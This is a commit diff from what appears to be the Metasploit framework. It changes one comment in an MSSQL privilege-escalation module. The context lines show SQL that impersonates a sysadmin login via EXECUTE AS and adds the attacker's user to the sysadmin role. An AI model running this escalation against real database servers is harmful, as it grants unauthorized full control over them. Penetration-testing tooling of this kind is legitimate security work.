comment fix-sorry

2014-11-04 09:07:08 -06:00 · 2014-11-04 09:07:08 -06:00 · 15119d2a0f
parent f108d7b20a
commit 15119d2a0f
1 changed files with 1 additions and 1 deletions
--- a/modules/auxiliary/admin/mssql/mssql_escalate_executeas.rb
+++ b/modules/auxiliary/admin/mssql/mssql_escalate_executeas.rb
@ -146,7 +146,7 @@ class Metasploit3 < Msf::Auxiliary
  end

  def escalate_privs(imp_user_sysadmin)
-    # Create the evil stored procedure WITH EXECUTE AS OWNER
+    # Impersonate the first sysadmin user on the list
    evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
    EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"